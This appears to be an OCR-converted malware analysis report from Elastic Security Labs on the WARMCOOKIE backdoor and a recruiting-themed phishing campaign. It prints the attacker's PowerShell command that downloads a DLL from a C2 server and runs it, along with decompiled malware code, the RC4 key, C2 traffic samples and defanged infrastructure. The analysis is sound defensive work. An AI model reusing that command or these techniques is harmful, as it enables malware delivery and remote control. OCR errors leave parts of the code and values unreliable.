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WARMCOOKIE at a glance

Elastic Security Labs observed a wave of email campaigns in late April targeting environments by deploying a new
backdoor we’re calling WARMCOOKIE based on data sent through the HTTP cookie parameter. During initial triage,
our team identified code overlap with a previously publicly reported sample by eSentire. The unnamed sample

( resident2.exe ) discussed in the post appears to be an older or deviated version of WARMCOOKIE. While some
features are similar, such as the implementation of string obfuscation, WARMCOOKIE contains differing functionality.

Our team is seeing this threat distributed daily with the use of recruiting and job themes targeting individuals.

WARMCOOKIE appears to be an initial backdoor tool used to scout out victim networks and deploy additional
payloads. Each sample is compiled with a hard-coded C2 IP address and RC4 key.

This post will review an observed campaign and this new malware’s functionality. While the malware has a limited
number of capabilities, it shouldn’t be taken lightly as it’s actively being used and impacting organizations at a global

scale.

Key takeaways

o REF6127 represents recruiting-themed phishing campaigns to deploy a new Windows backdoor:
WARMCOOKIE

« WARMCOOKIE is a newly discovered backdoor used to fingerprint a machine, capture screenshots of the victim
machine, and deploy additional payloads

o Threat actors are spinning up new domains and infrastructure weekly to support these campaigns

e This research includes an IDAPython script to decrypt strings from WARMCOOKIE

 Elastic Security provides prevention and visibility capabilities across the entire WARMCOOKIE infection chain

REF6127 campaign overview
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WARMCOOKIE execution flow

Since late April 2024, our team has observed new phishing campaigns leveraging lures tied to recruiting firms. These
emails targeted individuals by their names and their current employer, enticing victims to pursue new job opportunities
by clicking a link to an internal system to view a job description. Below is an example of the phishing email collected

from previous open source reporting.

A WIS e v s We're Interested - Message (HTML) - o x
T [ essag - @
3 23 Move to: ? 23 2% Fine
i x ) B Mecting | Moret ) ) Fonene 3 \ K R R
& Es) o« Done = = @ Related -
Oetete | Reply Repy Forward B, ) Move ) dions - | Mark_Categorze Falow | Transate Zo0m
oy Repy . tp creotenew [3][ MO B Acions- | Mtk Categore Follow | Tamste |
Detete Respona Quick steps ; rags ; cating
© If there are problems with how this message is displayed, click here to view it in a web browser.
From: Page Group Recruitment <admin@jacanteriors.com.au> Sent: Fri 5/3/2024 1:43 PM

Subject: Werre Interested

[ “This email origi . Be cautious, it could Attack dlicking! | &

Your Next Step: A Potential Position

e ———
cument employer: |

Hello,

We have an exciting opportunity to share with you - a new position available with one of our esteemed clients. Given your outstanding professional background, work experience at SPIRIANT and skills, we
believe you could be an ideal fit for this role.

Please access our intemal system via the link below to review the detailed job ion and i thoroughly

If the role aligns with your career objectives, we would be thrilled to set up a conversation at your earliest convenience to explore further.

Phishing email - Subject: “We’re Interested”

Once clicked, the users hit a landing page that looks like a legitimate page specifically targeted for them. There, they are
prompted to download a document by solving a CAPTCHA challenge. The landing pages resemble previous campaigns
documented by Google Cloud’s security team when discussing a new variant of URSNIF. Below is an example of the

landing page collected from previous open source reporting.
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L]
Michael Page 307 [ 52 penaaes

Document issued by Michael Page Action Waiting for Expiring
- I Required | Others I Soon
Access limited ta_
‘You have one document waiting for you.
To download it please resolve the captcha to prove you
are a human and follow the instructions provided.
- -
Landing page

Once the CAPTCHA is solved, an obfuscated JavaScript file is downloaded from the page. Our sample was named

Update_23_04_2024_5689382.js ; however, other samples used a different but similar naming structure.

This obfuscated script runs PowerShell, kicking off the first task to load WARMCOOKIE.

TERMINATED PROCESS
wscript.exe C
2 E
S0q
gy ANALYZED EVENT - TERMINATED PROCESS
powershell.exe £

>
%o,
CD’-‘O«J P TERMINATED PROCESS

powershell.exe

s .
<
J”z;_'p/’. el"’fh,-s
“ee, TERMINATED PROCESS e,
ety -
conhost.exe |

TERMINATED PROCESS
conhost.exe

Initial execution chain as seen in Elastic Security for Endpoint

The PowerShell script abuses the Background Intelligent Transfer Service (BITS) to download WARMCOOKIE and run
the DLL with the Start export.
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start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' +
[System.I0.Path]::GetRandomFileName(); Start-BitsTransfer -Source
'http://80.66.88[.]1146/data/5fh6dd81093a0d6812¢c17b12f139ce35"
-Destination $d; if (![System.I0.File]::Exists($d)) {exit}; $p = $d +

',Start'; rundl132.exe $p; Start-Sleep -Seconds 10} -Argument @ | wait-job | Receive-Job

REF6127 infrastructure overview

By leveraging tools like urlscan.io and VirusTotal, we observed the threat actor continually generating new landing

pages rapidly on IP address 45.9.74[.]135 . The actor pushed to target different recruiting firms in combination with
keywords related to the job search industry.

Recently observed hostnames on '45.9.74.135'

urlscan Pro platform

www.hays.com.find-jobs.search-directly.top | www.hays.com.for-job-seekers-hayswork-for.top |
www.hays.com.for-job-seekers.work-fortop | profession.jobs-specialist.top | assets.work-for.top |
michaelpage.com.page-executive.employment-agency.top | michaelpage.com.job-search.top-mp.top |
michaelpage.com.job-search.hays-findjobs.top | top-mp.top | michaelpage.com.job-search.executive-search.top |
hays.com.hays-careers.hays-findjobs.top | hays-findjobs.top |

Domains associated with 45.9.74[.]135

Before hitting each landing page, the adversary distances itself by using compromised infrastructure to host the initial

phishing URL, which redirects the different landing pages.

Page URL History m

1 omeindia.com/0%feB937d8134497f2522fdf 7read?3dt1m
najzq7f%26t%3dnfgozowshs%26set%3d4n7 9rr8... [LaCEA
omeindia.com/09fe8937d8134497f2522fdf/7read%%3dt1
mnajzq7f%26t%3dnfgozowshs2%265et%3d4n7 9rr8... [LE )
assets.work-for.top/stm.php?read%3Dt 1mnajzq /T36261%3
Dnfgozowsbs%26set%3D4n79rr3ztjxhess%26criteri...

Phishing link redirection

The threat actor generates new domains while the reputation catches up with each domain after each campaign run. At

the time of writing, the threat actor can be seen pivoting to fresh domains without many reputation hits.
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9 (@ 9/93 security vendors flagged this IP address as malicious 0 Follow~s C Reanalyze Q Search = Similar~ ¥ Graph b API
93
45.9.74.135 (45.9.74.0/24) sC Last Analysis Date
AS 216234 ( Komskov Vadim Aleksandrovich ) £ 15 daysago
Community
Score

DETECTION DETAILS RELATIONS TELEMETRY COMMUNITY
Passive DNS Replication (35) © =]
Date resolved Detections Resolver Domain
2024-06-05 0/93 Mandiant search-directly top
2024-06-03 0/93 Mandiant match-criteriatop
2024-06-03 4/93 Mandiant new-jobs.top
2024-05-21 0/93 VirusTotal find-jobs.search-directly.top
2024-05-21 0/93 VirusTotal com.find-jobs.search-directly.top
2024-05-21 0/93 VirusTotal hays.com.find-jobs.search-directly.top
2024-05-21 0/93 VirusTotal www.hays.com.find-jobs.search-directly.top
2024-05-18 3/93 VirusTotal superior-selections top
2024-05-16 0/93 VirusTotal page-executive.employment-agency.top
2024-05-16 0/93 VirusTotal com.page-executive.employment-agency.top
2024-05-16 4/93 VirusTotal michaelpage.com page-executive.employment-agency.top
2024-05-14 1/93 VirusTotal wuw.jobs-specialist.top
2024-05-10 0/93 VirusTotal for-job-seekers.work-for.top
2024-05-10 0/93 VirusTotal com for-job-seekers.work-fortop
2024-05-10 0/93 VirusTotal hays.com for-job-seekers.work-fortop
2024-05-10 0/93 VirusTotal wuw.hays.com.for-job-seekers.work-for.top

Reputation for recently generated domains

WARMCOOKIE malware anlaysis

WARMCOOKIE is a Windows DLL used by the threat actor in two different stages. The first stage occurs right after the
PowerShell download with the execution of WARMCOOKIE using the Start export.

Stage 1

Stage 1 copies the downloaded DLL from a temporary directory with a random name, such as: wid4ta3v.3gm, and
places a copy of the DLL at C:\ProgramData\Rt1lUpd\Rt1Upd.d11l

After the copy, the malware sets up persistence using COM with the Windows Task Scheduler to configure the DLL to

run with the following parameters.

"C:\WINDOWS\system32\rund1132.exe" "C:\ProgramData\Rt1lUpd\Rt1Upd.d11",Start /p

With this design choice, WARMCOOKIE will run with System privileges from the Task Scheduler Engine. Below is a

screenshot from Hatching Triage showing these two stages:
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"8 Processes

Crwindows\system32\wscript.exe

N
. p:2215  [BY
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_25_04_2824_3146918.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PID:2080

'C:\Windows\System32\WindowsPowerShell\v1.8\powershell.exe" -nop -c¢ "start-j

ob { param($a) Import-Module BitsTransfer; $d = Senv:temp + "\' + [System.I
0.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.4 -
1/data/d291855f9fd1c93417c97a4d2ba99b89' -Destination $d; if (![System.IO.Fi

le]::Exists(Sd)) {exit}; $p = 8d + ',Start'; rundll32.exe $p; Start-Sleep -$

econds 18} -Argument @ | wait-job Receive-Job"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PID:2632

'C:\Windows\System32\WindowsPowerShell\v1.@\powershell.exe" -s -NoLogo -No L
Profile

C:\Windows\system32\rundll32.exe PID:2168

"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\local\Temp\ol L
hgjgdh.qla, Start

C:\Windows\system32\taskeng.exe PID:620

taskeng.exe {D1138CCC-18D6-44A5-92FB-B376B90242D1} S-1-5-18:NT AUTHORITY\Syste
m:Service:

m C\Windows\system32irundli32.exe PID:2756

EE——
—
C:\Windows\system32\rund1132 .exe "C:\ProgramData\Rt1Upd\RtlUpd.d11", Start /p

WARMCOOKIE - Execution chain

Persistence

A critical part of the infection chain comes from the scheduled task, which is set up at the very beginning of the

infection. The task name ( RtlUpd ) is scheduled to run every 10 minutes every day.

Mame Status  Triggers Mext Run Time  Last Run Time Last Run Result Author
(5 RtlUpd Ready At4:44 PM every day .. 5/28/2024 &...  11/30/1999 12:00:00 ...  The task has not yet run. (0x41303) DESKTOF
5 RtlUpd Properties (Local Computer) X
General Triggers Actions Conditions Settings History (disabled)
When you create a task, you can specify the conditions that will trigger the task.
4 >
Trigger Details Statug
Daily At 444 PM every day - After triggered, repeat every 10 minutes for a duration of 1 day.  Enabl
< >
| Mew.. Edit... Delete
QK Cancel

Persistence - Scheduled Task

Stage 2
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The second stage is where the DLL is combined with the command line ( Start /p ) and contains the core functionality
of WARMCOOKIE. The malware starts by looking for the DLL inside the temporary directory from the PowerShell
download.

int _ fastcall des::init(HMODULE d11)
{

int result; // eax
WCHAR temp_d11[264]; // [rsp+26h] [rbp-228h] BYREF

if ( GetTempPathW(@x1@4u, temp d11) && des::RetrieveTempDll(temp d11) >= 15
|| GetAppDataDirectory() »>= 5

|| (result = des::GetInstalledProgramsViaUninstallRegistry(), result >= 5) )
{

if ( des::RetrieveNumberOfProcessors() >= 4 && des::RetrieveGlobalMemoryStatusEx() »>= 3848 )
return des::SetupMutexStartExecution(dll);

if ( des::RetrieveMumberOfProcessors() >= 8§ )
return des::SetupMutexStartExecution(dll);

result = des::RetrieveGlobalMemoryStatusEx();

if ( result »= 9x2000 )
return des::SetupMutexStartExecution(dll);

¥

return result;

Initial code within WARMCOOKIE

Obfuscation

WARMCOOKIE protects its strings using a custom string decryption algorithm. The first four bytes of each encrypted
string in the .rdata section represent the size, the next four-bytes represent the RC4 key, and the remaining bytes

represent the string.

0 HxD - [Untitled1]

Tl | W @~ 416 ]| Windows (aNs) Ul dee [
E File Edit Search View Analysis Tools Window Help
E Untitled1

Ooffset(d) 00 Ol 02 03 04 05 06 O7 08 09 10 11 12 13 14 15 Decoded text
00000000 Jo& 00 00 OOfSE F2 ES F3 IjEI 532 BE E6 BO 04 00 -Jo‘ Y. T YT LI

Size Key Data

String Obfuscation - Legend

Below is the CyberChef recipe using the bytes from the screenshot above:
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Recipe G B [ ] i Input
3b b8 be e6 b2 B
RC4 A Q1 4
Fazsphrase Input format
3b 2 e8 f3 SEE Hex — o=
Qutput format Clutput
UTF8
2%
Remove null bytes ~ Qn

String Decryption via CyberChef

One interesting observation is that the malware developer doesn’t always rotate the RC4 key between the encrypted

strings.

.rdata:00007FFC5D5DES20 dword_7FFC5D5DES20 dd 10h,{OF3E8F23Bh, PB5F@DD3Fh, ©BF837795h, 28881FD5h

.rdata:00007FFC5D5DE920 ; DATA XREF: des_ RetrieveOSInfo+201To
.rdata:0e007FFCspspEo2e Same RC4 key : des_ TakeScreenCapturetABTo
.rdata:@0007FFC5D5DES20 dd BB3CB657h, 2 dup(@)

.rdata:00007FFC5D5DE94@ ; unsigned int dword 7FFCSD5DES48[8

.rdata:00007FFCSD50E940 dword 7FFCSDSDE940 dd 14h OEGE9B811h, ©DAY0048Dh, 5CC2520Dh
.rdata:@0007FFC5D5DE940 ; DATA XREF: sub_7FFC5D5C58B0+281T0
.rdata:@0007FFC5D5DE940 dd 782FDF4Fh, 3AB879EAh, @

.rdata:@eee7FFC5D5DE96@ ; unsigned int dword_7FFCERSRESSELd

.rdata:@0007FFC5D5DE960 dword_7FFCSDSDE96@ dd 5, @A2FBDD3Fh, @AFh

.rdata:@eee7FFC5D5DE960 ; DATA XREF: des_ TakeScreenCapture+5Bto
.rdata:@eee7FFC5D5DE97@ ; unsigned int dword_7FFCoRSDESZOLS

_rdata:00007FFCSD5DES70 dword 7FFCSDSDES7@ dd o, 83E8DD2Ah, 9E92778Dh, OFBh, 2 dup()
.rdata:@eee7FFC5D5DE9S7E ; DATA XREF: des_ TakeScreenCapture+FBto
.rdata:@eee7FFC5D5DE998 ; unsigned int dword_7FFC5DSDE9SALE

.rdata:@e007FFC5D50E990 dword_7FFCSD5DE998 dd 12h, @EGCOBS83Fh, ODAC4O4ASh, 5CC3528Ah
.rdata:00007FFC5D5DE990 ; DATA XREF: des_ TakeScreenCapture+l14Bto
.rdata:00007FFC5D5DE990 des__Generate]PG+CAto

E]

Same RC4 key for different encrypted string
Dynamic API loading

To prevent static analysis from identifying its core functionality, WARMCOOKIE uses dynamic API loading. There is

no API hashing/resolving, and the targeted DLLs and sensitive strings are protected using encryption.
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dll kernel32 = DecryptString(&dword 7FFC6FDOE1@®);// KERNEL32.DLL
ModuleHandleW = GetModuleHandleW(dll kernel32);
if ( dl1_kernel32 )
{
memset ((dll kernel32 - 4), 8, *(dll kernel32 - 2) + 8i64);
FreeHeap((dll kernel22 - 4));
¥
GetNativeSystemInfo = des::DecryptString(dword 7FFC6FD@E130);// GetNativeSystemInfo
ProcAddress = GetProcAddress(ModuleHandlel, GetMNativeSystemInfo);
if ( GetNativeSystemInfo )
{
memset ((GethativeSystemInfo - 8), @, *(GetNativeSystemInfo - 2) + 8i6d);
FreeHeap((GethlativeSystemInfo - 8));

if ( ProcAd
(ProcAddr

else
GetSystemInfo(&SystemInfo);

return SystemInto.dwhumberQfProcessors;

Dynamic API loading within WARMCOOKIE

As demonstrated in the previous image, the developer shows some consideration for OpSec: any decrypted string is

wiped from memory immediately after use, potentially avoiding memory signature scans.
Anti-debugging

The malware contains a few anti-analysis checks commonly used to target sandboxes. These are based on logic for

checking the active number of CPU processors and physical/virtual memory values.

if ( des::RetrieveNumberOfProcessors() »>= 4 &8 des::RetrieveGlobalMemoryStatusEx() >= 0xFe@ )
return des::SetupMutexStartExecution(dll};

if ( des::RetrieveNumberOfProcessors() »>= 8 )
return des::SetupMutexStartExecution(dll);

result = des::RetrieveGlobalMemoryStatusEx();

if ( result >= 9x2000 )
return des::SetupMutexStartExecution(dll);

Sandbox verification
Below are the following conditions:

o If the number of processors is greater than or equal to 4 and the calculated value from the
GlobalMemoryStatusEx call is greater than or equal to 0xFO0O, the malware will continue execution
e If the number of processors is greater than or equal to 8, the malware will continue execution
o If the calculated value from the GlobalMemoryStatusEx call is greater than 0x2000 , the malware will continue

execution
Mutex

Each WARMCOOKIE sample comes hard coded with a GUID-like string as a mutex. Below are some examples we

have observed:

e f92e6f3c-9cc3-4bed-966c-1bed21e69140
e 91f785f4-2fa4-4c85-954d-b96768ca76f2
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mutex = DecryptString(dword_7FFC6FD12A90); [/ 91f785f4-2fa4-4c85-954d-b96768ca76f2

SetlastError(@);
h_mutex = CreateMutexl(@i6d, @, mutex);
_h_mutex = h_mutex;

if ( h_mutex )

{
if ( GetlastError() != ERROR_ALREADY_EXISTS )
{
tick count = GetTickCount() & ©@x89;
if ( tick count )
{
_tick count = tick count;
do
{
Sleep(@x64u) ;
-- tick count;
}
while ( tick count );
if ( des::ValidateCmdLineArg() || !des::SetupPersistence(al) )
init_main(mutex);
¥
}

LODWORD(h mutex) = CloseHandle( h mutex);

]

Setup before main functionality, including mutex creation

Before the main functionality is executed, WARMCOOKIE uses an OR statement to verify the command-line arguments

with /p returns True or to check whether the scheduled task persistence needs to be created.

Execution

Before the backdoor makes its first outbound network request, it captures the following values used to fingerprint and

identify the victim machine.

e Volume serial number
e DNS domain of the victim machine
e Computer name

¢ Username

This was a criteria used to identify the similarities to the malware in eSentire’s report.
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c_drive = DecryptString(byte_7FFC6FD@EGCA);  // C:\\
GetVolumeInformationW(c drive, @i64, @, &> VolumeSerialMumber, @i64, @i64, 0i64, @);

if ( c_drive )
{
memset((c
FreeHeap(
}

ive - 2) + 8i64);

size computer_name_dns = @x108;
GetComputerNameExk(ComputerNameDnsDomain, dns_computer_name, &size_ computer_name_dns);

size computername = 0x10;
GetComputerNameli(&computer_name, &size_computername);

size_user_name = 257;

GetUEer‘Nsmel-J(\ sername, &size_user_name);

size_mutex = -1i64;
while ( *(mutex + ++size mutex) 1= 0 )

2

C ksum mutex = CalculateChecksum(mutex, 2 * size mutex, -1);
checksum_volume_mutex = p_VolumeSeriallumber * checksum_mutex;
LODWORD(cxt) = p_VolumeSerialNumber ~ checksum mutex;

checksum_username = CalculateChecksum{username, 2 * size_user_name, -1);
checksum_computer_n

HIDWORD(cxt) = ¢

—name_xor_username = CalculateChecksum(&computer_name, 2 * size_computername, -1) * checksum_username;
hecksum_computer_name_xor_username;

Checksum calculations similar to eSentire's report

The WARMCOOKIE C2 server likely leverages a CRC32 checksum function to verify content sent from the victim
machine. Inside WARMCOOKIE itself is a checksum function that takes an input string, a length, and an initial seed
value for the CRC32 function. At the beginning of the function, the seed value is negated, so at different times, the
checksum function is called with different seeds. We believe the developer added this step to make it a little harder for

researchers to analyze and waste time.

__inted _ fastcall des::CalculateChecksum(wchar_t input_string, int input_string_size, int seed_value)

_ 2, _
_input_string_size = input_string_size;
for ( 1 = ~seed_value; _input_string_size; --_input_string size )

Beginning of CRC32 checksum function
The following three checksum calculations are encrypted with RC4 and sent through the HTTP cookie parameter:

e CRC32(c2_message_data)
e CRC32(mutex) /A volume serial number
¢ CRC32(username) A CRC32(computer name)

Below is the implementation in Python with a usage example in the Appendix:

def calculate_checksum(str_input, str_len, i):

if i == 0:

i = OxFFFFFFFF
if i ==-1:

i=20

for idx in range(@, str_len, 2):
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v6 = str_input[idx] | (str_input[idx + 1] << 8)
for _ in range(16):
if (v6 A1) & 1:
i = ((i > 1) N 0xEDB88320) & OxFFFFFFFF
else:
i=(i> 1) & OxFFFFFFFF
v >>= 1

return ~i & OXFFFFFFFF

Communication

WARMCOOKIE samples communicate over HTTP with a hardcoded IP address. The family uses a combination of RC4
and Base64 to protect its network traffic. The RC4 key is embedded in each sample. We have observed the same key
being used in multiple samples. The key during this analysis is 24de21a8dc@8434c

des::DecryptString(dword 7FFC6FD1294@);// 24de?1a8dc@8434c
d bytes = Bi6d;
d_data = @i64;

Hardcoded RC4 key being decrypted

The malware uses a custom structure to send the initial request to the C2 server, including the previously described

checksum values and several fields used to track the offsets and size of the variable data.

These values are sent through the HTTP cookie parameter using the following custom structure:

enum request_type

{
REGISTRATION = 1,
COMMAND = 2

b

struct os_info

{
int major_version;

int minor_version;
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int build_number;
int version_calc;
b

struct initial_request

int checksum_c2_message_data;

int checksum_volume_mutex;

int checksum_computer_name_username;
request_type request_type;

os_info os_ver;

int offset_to_dns_domain;

int size_base64_dns_domain;

int offset_to_base64_computer_name;

int size_base64_computer_name;

int offset_to_base64_username;

int size_base64_username;

char base64_dns_domain[]; // Variable-length array
char base64_username[]; // Variable-length array

char base64_computer_name[]; // Variable-length array

The first request to the C2 server is sent through a GET request using User Agent: Mozilla / 4.0 (compatible; MSIE
6.0; Windows NT 5.7; SV1;.NET CLR 1.0.3705 .

GET http://185.49.69[.141/ HTTP/1.1

Cookie: x410YTpmEwUUKm2AvnkS20nu1XqjP6shVvosIXkAD957a9Rp1EGFsUjR8f/1PT108EERt f+1id10bimsKh8mRA7+dLOYk@ISwgTUKBUIWEK4ARW]
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;.NET CLR 1.0.3705)

Host: 185.49.69[.]141

Connection: Keep-Alive

Pragma: no-cache
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Below is the CyberChef recipe of the HTTP cookie parameter decrypted from the first request, followed by a legend of
the fields:

Recipe ~ BB E  Input +0Oczw =
o n *410YT pmEwUUKm2AvnkS20nulXqjP6shVvosIXkAD9S57a9RplEGFsUR8T/1P108EERt F+id1ebimsKh8mRAZ+dLOYKED
From Base64 o ;
SwETUKBUSWEK4RW]hkYuxd21GXxh1A<
Alphabet
A-Za-z@-9+/=
D Remove non-alphabet chars D Strict mode
RC4 ~0n me 124 = 1 Tr Raw Bytes <= LF
Passphrase Input format |_ ra
- . Output B M
24de21a8dcesassc  UTFE Latin1 7 S =
e9 87 13 e5 1c bf 71 al @7 a7 43 28 01 00 00 00 Ga 00 90 00 @0 ©0 00 0@ ab 2f 00 00 1b @0 ee
O““?m format 00 38 00 00 00 01 00 0O 00 3C 00 00 00 15 00 00 00 54 00 0 00 ©5 00 00 VO 00 00 00 00 52 45
Latin1 56 54 53 31 52 50 55 43 3@ 79 51 7a 4e 4a 55 55 68 50 00 00 00 00 55 6b 56 de 00 00 00 00
To Hex ~Qn
Delimiter Bytes per line
Space

Decryption of HTTP cookie via CyberChef

Address 00 @1 B2 03 @4 05 06 07 05 @9 0A OB OC OD OE OF ASCII

0EDEEOEE: E9 87 13 ES 1C BF 71 AL B7 A7 43 33 01 00 00 00
000e0018: OA BE OO QO BE 08 0B 00 AR 3F GO @0 1B OO 0O 08 ..
[lululclaluldol A1 @8 08 08 3C @8 OF @015 08 A0 06
OBOARESE ! a5 08 08 08 (A0 @0 08 60 52 45 56 54
apnERa4s: 53 31 52 50 55 43 38 79 51 7A 4E 4A 55 55 6& G@
0eEER0SE: @0 B0 00 A0 [S5T6BIS6C4E| G0 00 A0 @O OO A0 GO O ...
OPOEROGD: @O0 B0 OO A0 B O 08 OB G0 OO A0 @0 OO GO GO O
0POERO7E: @0 B0 OO A0 A O 08 OB G0 OO A0 G0 OO OO B6 O8 ...
OPOEAOSE: @0 B0 OO OO A O 08 OB G0 OO A0 GO OO OO B6 O8 ...
0eOARASE: @O EO OO A0 A O 08 OB G0 OO A0 B0 OO A0 GO 08 .
OPOEAOAR: @R EE OO AO @A O OA OB G0 O A0 GO OF A0 @6 O8 .
OPOEAOBR: @0 GO OF AA @A O OA OB GO O A0 GO OO A0 @6 O8 .
OPEAERACH: @ EE OF @A @A O OA OB GO O A0 @A OF @O @6 O8 .
@BOPEEDE: 0O OO GO @A @A 08 0 O @A G0 GO OO OO O8 GO 08 .
@BOPEGEE: 0O G0 B0 @A @A 08 O O @A OO GO OO OO G8 @O 08 ...
GEDEEOFE; 00 OU 0P OO DO 08 OB DB G0 OO 00 OO OO OO 08 08 .,
GE0EELEE; OO0 OU 0P OO DO 08 0B DB @0 OO 0D OO OO OO 08 08 .,
GE0EEL116; 00 PU OO OO PO 08 OB DB QO 0O 0D OO OO 00 0O 08
0E0EE120; OO PE OO OO0 PO OB OO D GE OO QO BE OO OO0 DO 08
0E0EEL130; QO PU OO OO PO OB OO D GE 0P QO PE OO OO0 pO 08
0E0EE140; OO0 PU OO OO PO OB OO D GE Q0P QO PE 0P OO0 pO 08
0E0EEL158; QO PE OO OO PO OB OO D GE 0P QO BE 0P OO0 pO 08
0E0EE1eE; OO PE 0P OO PO 08 OB OB QU OO OO0 OO OO OO pO 08 L,
0EPEEL7E: OO PU 0P OO0 DO OB OB OB QU OO 0D OE OO OO PO OF ..
0E0EEL1BE;: OO PE 0P OO PO OB OB DB QU OO OO0 BE OO OO PO 08 ..
0E0EEL198; QO PE Q0P OO0 PO 08 OO D OE 0P OO BE 0D OO0 BO 08
000EE1A0; OO0 PO OO OO OO OB 08 DB GO 00 OO0 @O 00 QO @O 08
000EE1BO: OO0 PO 0D OO 0O 08 0B DB QO 00 OO0 PO 0D OO @O 08
000E01iCe: @O0 PO 0D OO OO 08 0B DB GO 00 OO0 PO 00 OO @O 08
000ee108; @O0 PO OO OO OO 08 0B DB GO 00 OO @O 00 QO @O 08
0E0ERLES:

Fo:

checksum_cZ_message_data
checksum_volume_mutex
checksum_computer_name_username
request_type
os_info_major_version
os_info_minor_version
os_info_build_number

os_info_wersion_calc

Yyvvvyvyvyvvyy B

X X X X X X X X X

offset_to_dns_domain

X

P size base64_compuker_name

x

» size_baseéd_username

9381 / Bx01 Region; 0x00808800 - BxBO0RETFF (8 -

Decryption of HTTP cookie parameters via ImHex

WARMCOOKIE inserts a few integrity checks by generating hashes using the previously described checksum function.
For example, the data in the decrypted HTTP cookie parameter from the 4th byte to the end is hashed and placed at the

beginning (offset 0). Using the example above, this checksum value is @xe51387e9

Before the malware can receive instructions, integrity checks are also used to verify the incoming response from the C2
server. In this scenario, the C2 server produces the expected checksum for the data sent to the victim machine. This is

located in the first four bytes of the request.

if ( des::CalculateChecksum(p_received_data + 4, _incoming_response_size - 4, @) == p_received_data->expected_checksum )

{

_ p_received_data = &p_received_data->command_ID;

Checksum verification from incoming server request

Below is a demonstration of this integrity check where the request data’s hash is 0x50d26cc3 .
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Recipe ~ e 3 Input
. ~ © p  edessfdasbdoe7aazcadsobsbizy
Passphrase nput format OQutput format
24de21a8dcosazac  UTFB™ oy LatinT
e 28 = 1
To Hexdump ~0Qn Output
Width 1A
16 I:] Upper case hex D Include final ‘Eﬂgth D UNIX format e lalolelelelele] |[3 6C d2 Selsd 00 65 00 6T 00 77 00 00 99' |AlOPm.e.o.w. ..

Checksum Data

Integrity check via CyberChef

If the checksum matches, WARMCOOKIE reads the command ID at the 8th-byte offset of the request to proceed to

move to the next command handler.
Bot functionality

WARMCOOKIE provides 7 command handlers for threat actors to retrieve additional victim information, record
screenshots, launch additional payloads, etc. The provided functionality is relatively straightforward, allowing threat

groups that need a lightweight backdoor to monitor victims and deploy further damaging payloads such as ransomware.

Command ID Description

1 Retrieve victim details

2 Record screenshots of victim machine

3 Retrieve installed programs via Uninstall registry path
4 Command-line execution (cmd.exe /c)

5 Write file to victim machine

6 Read file from victim machine

10 Delete scheduled task persistence

Retrieve victim details - command ID (1)

This handler fingerprints and identifies the victim machines by collecting the IP address and CPU information.

Interestingly, the imports required for this handler are statically imported.

Page 15 of 26



https://www.elastic.co/security-labs/dipping-into-danger

uninstall_reg path = DecryptString(dword_7FFC6DCAEA4®);// HARDWARE\DESCRIPTION\System\CentralProcessor
if ( RegOpenKeyExW(HKEY LOCAL MACHINE, uninstall reg path, 8, @x188u, &hKey) )
goto LABEL_17;
str_Processorlame = DecryptString(dword 7FFC6DCAEAB®);// ProcessorNameString
index = 8;
hilame = 260;
if ( RegEnumKeyExW(hKey, @, Name, &cchiame, @i64, @i6d, 8i6d, @ied) )
goto LABEL_16;
while ( RegOpenKeyExW(hKey, MName, @, 0x101u, &v48) )
{
LABEL_13:
++index;
cchilame = 260;
if ( RegEnumKeyExW(hKey, index, Mame, &cchMame, 8i64, @i6d, 8i64, Bicd) )
goto LABEL_16;

b

chData = 260;

if ( RegQueryValueExW(v4®, str_ProcessorName, ©i64, @i6d, Data, &cbData) )
RegCloseKey(v48);
goto LABEL_13;

ki
*(Data + cbData) = @;

LABEL_16:
des::AllocMemset(str_Processorlame);
RegCloseKey(hKey);

Retrieving CPU info (Handler 1)

The malware uses HTTP POST requests when sending data back to the C2 server. The HTTP POST request data is
encrypted via RC4 and sent over the network in raw form. In addition, the IP address and CPU information are Base64

encoded.

POST http://185.49.69[.141/ HTTP/1.1

Cookie: x410YTpmEwUUKm2AvnkS20nu1XqjP6shVvosIXkAD957a9Rp1EGFsUjR8f/1PT108EERt f+1id10bimsKh8mRA7+dLOYkOISwgTUKBUIWEKARW]
User-Agent: Mozilla / 4.0 (compatible; MSIE 6.0; Windows NT 5.71; SV1;.NET CLR 1.0.3705)

Host: 185.49.69.41

Content-Length: 136

Connection: Keep-Alive

Pragma: no-cache

ql:f*m yz z? ! ,lw kiA K k8 .(M 5 <5 u[éz 0 -U” 9zG( *X o_ *Y, q glTs XI8\)W W

After decrypting the HTTP POST request data, this presents a similar structure as before, where the data is front-loaded
with the checksum values, offsets, and sizes to the pertinent information targeted by the handler. In this case, the Base64
encoded data is the IP Address and CPU info.
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Cffsec(h) 00 01 02 03 04 05 06 O7 08 0% Q& OB 0OC OD QE OF

Decoded tCext

QgoQoQoo00 EB E8 2C CD 1C BF 71 R1 OT7 AT 43 38 02 00 00 00O éé,i.{qi.ECS....
00000010 €1 00 00 00 00 00 00 00 2C 00 00 00 15 00 00 00 ...c.... fe e
QQoQo020 44 00 00 OO0 41 OO0 QOO0 OO 3F 13 00 00 4D 54 6B 79 D...A...7...MTky
00000030 4C 6R 45 32 4F 43 34 72 4F 44 49 75 4D 54 4D 72 LjIE20C4xCDIuMIMx
Q0000040 Q0D 00 00 00 51 55 31 45 4% 46 44 35 65 €D 56 TS ....QULEIFJSemVa
Qooo0050 4% 44 &3 €7 4E TR &7 7T 4D 46 &7 TR 52 43 41 34 IDcgMNzgwMFgzRCh4
00000060 4C 55 4E 76 63 6D 55 €7 55 48 4A 76 59 32 56 T7A LUNvemOgUHJIwYZVz
Qoooo07T0 63 32 39 T9 49 43 41 £7 49 43 41 &7 49 43 41 &7 c29yICAgICAgICAg
00000080 49 43 41 3D 00 00 00 00 ICA=....
Decrypted POST Request Data from Handler 1
Encoded Value Decoded Value
MTkyLjE20C4xODIuMTMx 192.168.182.131

QU1EIFJ5emVulDcgNzgwMFgzRCA4LUNvemUgUHIVY 2Vzc29yICAgICAGICAGICA=

Screenshot capture - command ID (2)

AMD Ryzen 7
7800X3D 8-Core

Processor

The ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing

sensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically

